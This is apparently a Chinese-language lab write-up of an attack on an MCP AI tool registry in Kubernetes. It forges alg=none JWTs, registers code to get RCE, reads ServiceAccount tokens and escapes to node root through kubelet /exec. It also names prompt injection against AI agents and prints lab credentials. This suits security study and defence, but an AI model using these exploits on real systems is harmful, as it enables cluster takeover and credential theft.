MCP / AI 工具注册表攻击实战
从 JWT alg=none 伪造管理员,到在 K8s 节点上拿到 root
免责声明:本文全部内容来自我本人在授权靶场(Hack The Box 退役靶机 fireflow)的实操记录,仅用于安全学习与防御建设。请勿对未授权系统使用文中任何技术。所有凭据、flag 均属于靶场实例且已轮换,无复用价值。
一句话总结:一个"让用户提交工具实现"的 AI 工具注册表,只要认证能绕、工具注册等于执行代码,就能把主机上的普通用户直接升级成 Kubernetes 节点 root。
这条链路上没有任何内核漏洞,全是配置与设计缺陷——这正是云原生时代最值得学的一类攻击。
MCP(Model Context Protocol)是 AI Agent 与"工具/数据源"之间的标准接口。它现在被大量部署在容器、尤其是 Kubernetes 里,而且多数实现都很新——新组件 + 高权限 + 认证模型粗糙,这三件事凑在一起,就是现在最值得盯的攻击面。
一、先建立心智模型:MCP 为什么危险
一个典型的 MCP 部署长这样:
AI Agent (LLM) ──JSON-RPC 2.0──▶ MCP Server ──▶ 工具实现(脚本/HTTP/DB) /mcp └─ 常跑在容器/Pod 里,带 ServiceAccount结构性风险在于:MCP 的核心语义就是"工具 = 可调用的代码"。于是:
正常设计:平台允许注册新工具→ 攻击者视角:注册接口就是任意代码执行入口正常设计:工具调用把结果返回给 Agent→ 攻击者视角:天然是"带返回值的 RCE",不用反弹 shell正常设计:MCP Server 跑在 Pod 里→ 攻击者视角:直接获得集群内身份 + SA token正常设计:用 JWT 做认证→ 攻击者视角:alg=none / 弱密钥 / 角色自述 = 认证绕过正常设计:Agent 会读内容并照做→ 攻击者视角:prompt injection 诱导调用危险工具(AI 特有)结论:看到 POST /tools 这种"收一个 code 字段"的接口,就该直接按 RCE 去测。
二、通用攻击面 Checklist(可直接照扫)
四条线,按顺序走一遍:
① 指纹 / 暴露面(认证前)
curl -sS $B/api/v1/version # 版本 + 自曝算法/端点清单 curl -sS $B/openapi.json | jq .paths # FastAPI 全端点 curl -sS $B/docs # Swagger UI curl -sS $B/api/v1/tools # 列工具(常忘鉴权)② 认证面
JWT:alg=none / HS256 弱密钥 / role 自述 / kid 注入 / jku 指向可控 JWKS③ 执行面(核心)
POST /tools {"code":"..."} — 注册即执行POST /mcp tools/call — 触发执行工具参数直接拼进 shell / 传给 subprocess stdin(二次注入)④ 云原生面(拿到 Pod 内执行之后)
cat /var/run/secrets/kubernetes.io/serviceaccount/token → SSAR 查权限 → nodes/proxy 可达 kubelet(/pods /logs /exec /debug/pprof) → 找 privileged + hostPath 的 Pod → 读宿主文件系统 → 节点 root判定优先级:/version 里出现的 supported_algorithms、/openapi.json 里 security 为空的端点、收 code/script/template 字段的 POST——这三个点九成就是入口。
三、靶场环境与前置条件
主机:Ubuntu 24.04 + 单节点 k3s v1.34.6+k3s1(主机名 fireflow)MCP 注册表:FastAPI 服务,Pod default/mcp-server-xxx,NodePort :30080外部可达性:被防火墙从外部阻断 → 需要 SSH 隧道(靶机自身可直连)副产物:平台在 ~/.mcp/config.json 放了服务账号初始位置:已通过 Langflow 未授权 RCE 拿到 www-data → 口令复用登录 SSH(普通用户)前置条件一句话:只要能在目标上拿到一个普通 shell(能 SSH,或被 SSRF 打到内网 :30080),这条链就能走完。
四、逐步实录(含真实回显)
Step 0 · 凭据与隧道
cat ~/.mcp/config.json { "server": "http://<TARGET_IP>:30080", "status_endpoint": "/api/v1/version", "user": "langflow-bot", "password": "Langfl0w@mcp2026!" }# NodePort 外部打不通,开隧道 ssh -L 13080:127.0.0.1:30080 nightfall@<TARGET_IP> # 之后 http://127.0.0.1:13080 就是注册表拿到的是一个 非管理员服务账号,只够"合法登录看一眼",不够做事——所以下一步的认证绕过才是关键。
Step 1 · 指纹:/version 自曝弱点 + openapi 全端点
$ curl -sS http://127.0.0.1:13080/api/v1/version { "service": "MCP AI Tool Registry", "version": "0.1.0", "auth": { "type": "JWT", "supported_algorithms": ["HS256", "none"] }, "endpoints": [ "POST /mcp [MCP JSON-RPC 2.0]", "POST /api/v1/auth", "GET /api/v1/tools", "POST /api/v1/tools [admin]" ] }服务端自己把绕过方式写在脸上了:"supported_algorithms": ["HS256","none"]——它明确告诉你:"我支持不签名。"
GET /api/v1/version、POST /api/v1/auth鉴权:无(情报 + 换 token)GET /api/v1/tools鉴权:无(列工具,信息泄露)POST /api/v1/tools鉴权:Bearer [admin] ← 注册工具 = RCE 入口POST /mcp鉴权:Bearer(tools/list、tools/call)Step 2 · 用泄露的服务账号登录
curl -sS -X POST http://127.0.0.1:13080/api/v1/auth \ -H 'Content-Type: application/json' \ -d '{"username":"langflow-bot", "password":"Langfl0w@mcp2026!"}' # → {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # .eyJzdWIiOiJsYW5nbG93LWJvdCIsInJvbGUiOiJ1c2VyIn0...", # "token_type":"bearer"}解开 payload 就是 {"sub":"langflow-bot","role":"user"}——角色就写在 token 里。这已经预告了打法:签名一旦能绕,角色就由我说了算。
Step 3 · 认证绕过:JWT alg=none(6 行代码伪造 admin)
原理:JWT 的结构是
base64url(header) . base64url(payload) . base64url(signature) ↑ header.alg 声明"用什么算法签的"如果服务端按照 token 自己声明的 alg 决定要不要验签,那把它改成 none、签名留空,就能签发任意身份:
import base64, json b = lambda d: base64.urlsafe_b64encode( json.dumps(d, separators=(',',':')).encode()).rstrip(b'=').decode() tok = f"{b({'alg':'none','typ':'JWT'})}.{b({'sub':'admin','role':'admin'})}." print(tok)eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.└─ {"alg":"none"} ─┘ └─ {"role":"admin"} ─┘ └ 空签名
服务端为什么吃这一套(Pod 内 /app/main.py 原文):
L36 header = jose_jwt.get_unverified_header(token) # 先不验签读 header L37 alg = header.get("alg", "HS256") L39 if alg == "none": L40 payload = jose_jwt.decode(token, key="", options={"verify_signature": False}) # ← 显式关闭验签(根因) L46 elif alg == "HS256": payload = jose_jwt.decode(token, JWT_SECRET, algorithms=["HS256"]) L65 def require_admin(payload = Depends(verify_token)): L66 if payload.get("role") != "admin": raise 403 # 附带弱点 L18 JWT_SECRET = "mcp-jwt-secret-do-not-share" # 硬编码弱密钥 L22 "langflow-bot": {..., "role": "user"} L23 "nightfall-admin": {..., "role": "admin"} # 管理员口令明文在镜像里注意:require_admin 是真的在检查的,只是它的输入 payload 被伪造了。认证绕过的根因在验签,不在授权逻辑。这一点在写报告时很重要。
Step 4 · 注册工具(服务端保存"一段代码")
TOK='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.' curl -sS -X POST http://127.0.0.1:13080/api/v1/tools \ -H "Authorization: Bearer $TOK" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","description":"probe", "inputSchema":{"type":"object","properties":{}}, "code":"import subprocess\nprint(subprocess.getoutput(\"id\"))"}' # → {"status":"registered","name":"poc"}服务端模型就是 ToolRegisterRequest{name, description, inputSchema, code}——code 就是一段完整 Python 源码,无审查、无沙箱、无白名单。
Step 5 · 调用即执行 = 带输出的 RCE
curl -sS -X POST http://127.0.0.1:13080/mcp \ -H "Authorization: Bearer $TOK" \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call", "params":{"name":"poc","arguments":{}}}'result.content[0].text =uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)mcp-server-54464cb475-29ztf
服务端执行原文:
L199 if method == "tools/call": L205 stdin_data = json.dumps(arguments).encode() L206 proc = subprocess.Popen(["python3","-c",tool["code"]], stdin=PIPE, stdout=PIPE, stderr=PIPE) L213 stdout, stderr = proc.communicate(input=stdin_data, timeout=30) L221 return {"result":{"content":[ {"type":"text","text": text}]}} # stdout+stderr 原样回显参数走 stdin、输出原样回显——等于拿到一个交互式命令执行通道,还省掉了反弹 shell 的出网问题。
两个实操技巧:① 把 shell 脚本 base64 后内联进 code,避免引号地狱;② Pod 有独立文件系统——宿主上的 /tmp/x.py 在 Pod 里不存在,必须内联传输(我第一次就写漏了,直接 cat 报文件不存在)。
Step 6 · Pod 内环境(实测)
身份 : uid=1000(mcp) ns=default 主机名 : mcp-server-54464cb475-29ztf 依赖 : fastapi / uvicorn / python-jose / passlib Python : websockets 16.0 ← 可直接打 kubelet WebSocket 二进制 : curl ✓ cat ✓ sh ✓ ✗ kubectl ✗ nc ✗ wget SA : /var/run/secrets/kubernetes.io/serviceaccount/ 连通性 : https://<node>:10250/pods → 200 ← 能直连 kubeletStep 7 · SA 权限矩阵(用 SSAR 精确测,不要猜)
get nodes/proxy ✅ allowed(唯一有效权限)pods/exec、attach、portforward、pods/log ❌GET /api/v1/pods(apiserver) ❌ 403为什么一个只读权限就能到 root:kubelet 的 10250 后面是一整套运维 API(/pods、/logs、/debug/pprof、/exec)。nodes/proxy 的含义是"允许代理到 kubelet",而 kubelet 自己不做细粒度授权——它只问 apiserver"这人能不能 proxy 到我",然后就放手了。
最容易卡死的两个坑:① kubelet 用 HTTP 方法当授权动词:POST /exec → verb=create → 403;GET /exec + Upgrade: websocket → verb=get → ✅ 101。② kubelet 的流参数名是 input / output / error,不是 stdin/stdout/stderr;写错会报 "you must specify at least 1 of stdin, stdout, stderr",看起来像"参数没被解析",其实只是名字不对。
Step 8 · 找 privileged + hostPath 的 Pod
NODE="<node-ip>" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) GET https://$NODE:10250/pods (Authorization: Bearer $TOKEN) → monitoring/prometheus-prometheus-node-exporter-xxxxx 容器 node-exporter privileged=True runAsUser=0 hostPID hostNetwork hostPath: /proc→/host/proc, /sys→/host/sys, /→/host/root判定要点:看每个 Pod 的 spec.volumes[].hostPath 和 containers[].securityContext,两个条件同时满足就是目标。
hostPath: / → /host/root:容器的 /host/root 就是宿主的 /privileged: true:不受 capability/seccomp/AppArmor 限制runAsUser: 0:容器内 uid=0(配 privileged 就是真 root)hostPID / hostNetwork:能看到宿主进程、用宿主网络栈四个条件凑齐 ⇒ cat /host/root/root/root.txt 读的就是宿主 /root/root.txt(注意路径是双 root:挂载点 + 宿主路径拼起来)。
评估影响时一定要提:这里 hostPath 是只读,所以只能读。如果可写,性质立刻升级为完整宿主控制——写宿主 /root/.ssh/authorized_keys、改 /etc/systemd/system 里的服务、塞 cron,都是持久化 root。
Step 9 · kubelet /exec(WebSocket)→ 容器内 uid=0 → 拿到 root
GET /exec/<ns>/<pod>/<container> ?output=1&error=1 &command=/bin/sh&command=-c &command=cat%20/host/root/root/root.txt Host: <node>:10250 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: <16B base64> Sec-WebSocket-Version: 13 Sec-WebSocket-Protocol: v4.channel.k8s.io Authorization: Bearer <mcp-sa token>子协议:必须带 v4.channel.k8s.io,否则握手失败帧格式:二进制帧,第 1 字节 = 通道号(1=stdout,2=stderr,3=error);内容从 data[1:] 开始读法:一直读到 close 帧(末尾会附 {"status":"Success"})心跳:opcode 9(ping)要回 pong,否则可能被断连Pod 里已有 websockets 16.0,最简客户端 10 行:
import asyncio, urllib.parse, websockets, ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE async def kexec(cmd): q = "&".join("command=" + urllib.parse.quote(c, safe="") for c in cmd) url = (f"wss://{NODE}:10250/exec/{ns}/{pod}/{cnt}" f"?output=1&error=1&{q}") out = b"" async with websockets.connect( url, ssl=ctx, additional_headers={"Authorization": f"Bearer {TOKEN}"}, subprotocols=["v4.channel.k8s.io"], open_timeout=15) as ws: try: while True: d = await asyncio.wait_for(ws.recv(), timeout=6) if isinstance(d, (bytes, bytearray)) and len(d) > 1: out += bytes(d[1:]) # 去掉通道字节 except Exception: pass # 超时=没有更多数据 return out.decode(errors="replace")没有 websockets 库时,用纯 socket+ssl 手写握手与帧解析(完整实现见文末仓库)。
本靶实测(真的从 Pod 里跑完的):把上面 Step 8+9 写成一个脚本,通过 MCP 注册表送进 Pod 执行,一次输出:
[*] pod 内身份: uid=1000 ns=default node=<ip>[*] kubelet /pods -> 200,共 7 个 pod[+] PRIV monitoring/prometheus-...-node-exporter runAsUser=0 privileged=True hostPath: {'proc':'/proc','sys':'/sys','root':'/'}[*] exec iduid=0(root) gid=65534(nobody) groups=10(wheel)[*] exec cat /host/root/etc/hostnamefireflow ← 证明读的是宿主文件系统[*] exec cat /host/root/root/root.txt587541b427f9f2e587f129519bcfd285 ← root flag
Step 10 · 另一条更短的路
MCP 注册 → Pod RCE 是"通用通道"。还有一种按环境巧合可走的近路:Pod 内进程是 uid=1000,而宿主用户也是 uid=1000,于是宿主的 ps 能看到 Pod 进程、/proc/<pid>/root/ 可以直接读:
cat /proc/<pid>/root/run/secrets/kubernetes.io/serviceaccount/token # 直接拿 SA token,完全跳过 MCP 注册环节MCP 链:前提能访问 :30080;通用,重启后重新注册即可;步骤多;会在 Pod 日志留痕/proc 直读:前提 Pod 与宿主同 uid;依赖巧合;一步到位;无痕五、服务端脆弱代码逐行点评
① 验签可绕过if alg == "none": decode(..., verify_signature=False)→ 攻击者自签任意身份② 授权只看 token 自述if payload["role"] != "admin": 403→ 角色应来自服务端存储/IdP,且关键操作二次校验③ 密钥硬编码在镜像里JWT_SECRET = "mcp-jwt-secret-do-not-share"→ 即使禁掉 none,弱密钥同样可离线伪造⑤ 注册工具 = 执行任意代码Popen(["python3","-c",tool["code"]])→ 这是设计级问题,不是编码疏忽⑥ 把弱点写进产品说明"supported_algorithms": ["HS256","none"]六、检测视角:防守方能看见什么
✅ MCP Pod 的 access log:会记录 POST /api/v1/tools、POST /mcp最有效的检测点。本靶正常流量只有每 10 秒一次的健康检查,异常注册一眼可见⚠ apiserver audit:对 /exec 的 authorize 记录(需启用 audit policy)❌ kubelet 自身:默认不记录 exec,容器里执行了什么常常查不到❌ 宿主 auditd:动作发生在容器内,宿主审计看不到七、防御清单(按重要性)
1. JWT 严格化:解码前钉死算法,永远拒绝 none;密钥外置、足够熵、可轮换2. 角色不信任 token 自述:从服务端存储/IdP 查,关键操作二次校验 + 审计3. "注册工具"不能等于"执行任意代码":只允许引用已有工具,或上真沙箱(gVisor/Kata、非 root、只读 FS、无网络、seccomp)4. 端点全鉴权 + 收敛暴露面:/docs、/openapi.json、GET /tools 不该匿名可读;NodePort 不对不可信网段开放5. RBAC 最小化:删掉 nodes/proxy(等价于可任意对话 kubelet,含 /exec)6. Pod 安全:禁止 privileged + hostPath:/;用 Pod Security Admission 强制 baseline/restricted;runAsUser 非 07. 凭据卫生:口令/密钥不进镜像、不进家目录;杜绝跨系统口令复用八、核心结论
进入 Pod = 拿到集群身份;集群身份里如果存在没被限制的 nodes/proxy 或 create pods,就等于拿到宿主 root——因为总有别的 Pod 挂载了宿主文件系统,而 kubelet 允许你在它里面执行命令。
三条速记(遇到同类目标先看这三处)① supported_algorithms: ["HS256","none"] → 认证能绕② POST /tools {"code": ...} → 注册即 RCE③ get nodes/proxy → kubelet /exec → 特权 Pod → 节点 root
参考
· JWT 未签名算法("none"):RFC 7519 §3.6· python-jose 的 options={"verify_signature": False} 属显式关闭验签的经典误用· Kubernetes:nodes/proxy 子资源语义、kubelet 端点(/pods、/logs、/exec、/debug/pprof)· MCP 协议规范:modelcontextprotocol.io(JSON-RPC 2.0;initialize / tools/list / tools/call)
本文为授权靶场实操记录,仅用于安全学习与防御建设。如果这篇对你有帮助,欢迎关注、在看、转发给做云原生安全的同事。